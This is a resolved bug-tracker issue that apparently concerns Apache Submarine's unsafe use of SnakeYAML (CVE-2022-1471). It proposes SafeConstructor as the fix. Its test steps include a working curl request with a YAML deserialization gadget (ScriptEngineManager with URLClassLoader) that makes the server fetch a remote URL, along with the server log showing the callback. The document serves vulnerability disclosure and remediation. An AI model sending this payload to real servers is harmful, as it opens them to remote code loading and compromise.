Details
-
Bug
-
Status: Resolved
-
Critical
-
Resolution: Fixed
-
None
Description
Use SnakeYaml's SafeConstructor to replace default Yaml no arguments constructor to void unsafe deserialization.
Link url: https://nvd.nist.gov/vuln/detail/CVE-2022-1471
Test steps:
- start a server with python3 -m http.server 8080
- start submarine
- test submarine with command
curl --location 'http://127.0.0.1:32080/api/v1/serve/' \ --header 'Content-Type: application/yaml' \ --data '!!org.apache.submarine.server.api.model.ServeSpec: modelName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080"]]]]'
- we can see python server receive url like this:
Serving HTTP on :: port 8080 (http://[::]:8080/) ... ::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
Attachments
Issue Links
- links to